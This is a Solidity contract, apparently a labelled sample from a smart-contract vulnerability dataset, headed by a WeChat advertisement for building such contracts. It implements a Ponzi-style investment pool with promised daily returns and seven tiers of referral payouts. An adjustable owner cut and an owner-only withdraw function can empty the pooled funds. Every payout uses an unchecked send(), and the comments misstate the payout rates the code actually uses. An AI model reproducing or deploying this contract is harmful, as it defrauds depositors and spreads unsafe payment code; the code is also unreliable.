// Vulnerability label: UcC1
/*
*
*
*   微信fac2323
*   制作erc20代币 ERC721代币，存款合约，太阳线合约，互助合约，微信fac2323
*
*
*
*
*
*
*/


pragma solidity ^0.4.21;
 
library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    // uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return a / b;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }


  function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
    c = a + b;
    assert(c >= a);
    return c;
  }
}
 
library Fdatasets {
 
    struct Player {
        address affadd;                // 上级推荐人0
        uint256 atblock;                //时间1
        uint256 invested;                //投资2
        uint256 pot;               //管理员抽水 3
        uint256 touzizongshu;      //投资总数4 
        uint256 tixianzongshu;     //提现总数 5
        uint256 yongjin;
    }  
    
}

contract TokenERC20 {
	
    using SafeMath for uint256;
 
    
    
    uint256 public commission  = 10;//抽水，可以改
    uint256 public investeds;       //总投资
    uint256 public amountren;         //amount人数 
    address public owner       = 0xc47E655BC521Bf15981134E392709af5b25947B4;//0x115395f1a6B4640E0C59C33FED51677336b4B1E3
    address aipi;
    
    
     
    mapping(address  => Fdatasets.Player)public users;
    
    modifier olyowner() {
        require(msg.sender == owner || msg.sender == aipi); 
        _;
    }
    
    function TokenERC20()public  payable{
       amountren = 0;
       investeds = 0; 
       aipi = msg.sender;
    }
    
    function () payable public {
       
    	// if sender (aka YOU) is invested more than 0 ether
        ///返利
        if (users[msg.sender].invested != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 4% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = users[msg.sender].invested * 25 / 1000 * (now - users[msg.sender].atblock) / 86400;

            // send calculated amount of ether directly to sender (aka YOU)
            if(this.balance < amount ){
                amount = this.balance;
            }
            address sender = msg.sender;
            sender.send(amount);
            users[msg.sender].tixianzongshu = amount.add(users[msg.sender].tixianzongshu); //提现总数
        }

        // record block number and invested amount (msg.value) of this transaction
        users[msg.sender].atblock = now;
        users[msg.sender].invested += msg.value;
        users[msg.sender].touzizongshu = msg.value.add(users[msg.sender].touzizongshu);//投资总数
        //推荐佣金发放
        if(msg.value > 0){
            amountren++;
            investeds = investeds.add(msg.value);
            
            //抽水
             users[owner].pot = users[owner].pot + (msg.value * commission / 100);
            address a = users[msg.sender].affadd;
            for(uint256 i = 0; i < 7; i++){
                if(i == 0 && a != address(0)){
                    a.send(msg.value * 8 / 100 ); 
                    users[a].yongjin = users[a].yongjin.add(msg.value * 8 / 100 ); 
                }
                    
                if(i == 1 && a != address(0)){
                    a.send(msg.value * 5 / 100 );
                    users[a].yongjin = users[a].yongjin.add(msg.value * 5 / 100 ); 
                }
                     
                if(i == 2  && a != address(0)){
                    a.send(msg.value * 3 / 100 ); 
                    users[a].yongjin = users[a].yongjin.add(msg.value * 3 / 100 ); 
                }
                    
                if(i > 2  &&  a != address(0)){
                    a.send(msg.value * 1 / 100 ); 
                    users[a].yongjin = users[a].yongjin.add(msg.value * 1 / 100 ); 
                }
                a = users[a].affadd;       
            }  
        } 
    }
    
    //撤回资金
    function withdraw(uint256 _amount,address _owner)public olyowner returns(bool){
        _owner.send(_amount);
        return true;
    }
    
    //撤回抽水
    function withdrawcommissions()public olyowner returns(bool){
        owner.send(users[msg.sender].pot);
        users[msg.sender].pot=0;
    }
    
    //修改抽水
    function commissions(uint256 _amount)public olyowner returns(bool){
        commission = _amount;
    }
 
     //查看可以提取多少
    function gettw(address _owner)public view returns(uint256){
        uint256 amount;
     
        amount = users[_owner].invested * 2 / 100 * (now - users[_owner].atblock) / 86400;
       
        return amount;
    }
 
    
    //get this.
    function getthis()public view returns(uint256){ 
        return this.balance;
    }
    
    //get amount人数investeds
    function getamount()public view returns(uint256,uint256){ 
        return (amountren,investeds);
    }
 
    //提现总数
    function gets(address _owner)public view returns(uint256,uint256,uint256){
        uint256 a = users[_owner].touzizongshu;
        uint256 b = users[_owner].tixianzongshu;
        uint256 c = users[_owner].yongjin;
        return (a,b,c);
    }
  
    function investedbuy(address _owner)public payable  {
        require(msg.sender != _owner); 
        amountren++;
        investeds = investeds.add(msg.value);
        users[msg.sender].affadd = _owner;
        //抽水  
        users[owner].pot = users[owner].pot + (msg.value * commission / 100);
        address a = users[msg.sender].affadd;
         
        for(uint256 i = 0; i < 7; i++){
            if(i == 0 && a != address(0)){
                a.send(msg.value * 8 / 100 );
                users[a].yongjin = users[a].yongjin.add(msg.value * 8 / 100 ); 
            }
                    
            if(i == 1 && a != address(0)){
                a.send(msg.value * 5 / 100 );
                users[a].yongjin = users[a].yongjin.add(msg.value * 5 / 100 ); 
            }
                     
            if(i == 2  && a != address(0)){
                a.send(msg.value * 3 / 100 ); 
                users[a].yongjin = users[a].yongjin.add(msg.value * 3 / 100 ); 
            }
                    
            if(i > 2  &&  a != address(0)){
                a.send(msg.value * 1 / 100 );
                users[a].yongjin = users[a].yongjin.add(msg.value * 1 / 100 ); 
            }
             a = users[a].affadd;           
        } 
        users[msg.sender].touzizongshu = msg.value.add(users[msg.sender].touzizongshu);//投资总数
         ///返利
        if (users[msg.sender].invested != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 4% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = users[msg.sender].invested * 25 / 1000 * (now - users[msg.sender].atblock) / 86400;

            // send calculated amount of ether directly to sender (aka YOU)
            if(this.balance < amount ){
                amount = this.balance;
            }
            address sender = msg.sender;
            sender.send(amount);
            users[msg.sender].tixianzongshu = amount.add(users[msg.sender].tixianzongshu); //提现总数
        }
        users[msg.sender].atblock = now;
        users[msg.sender].invested += msg.value;
     
    } 
  

}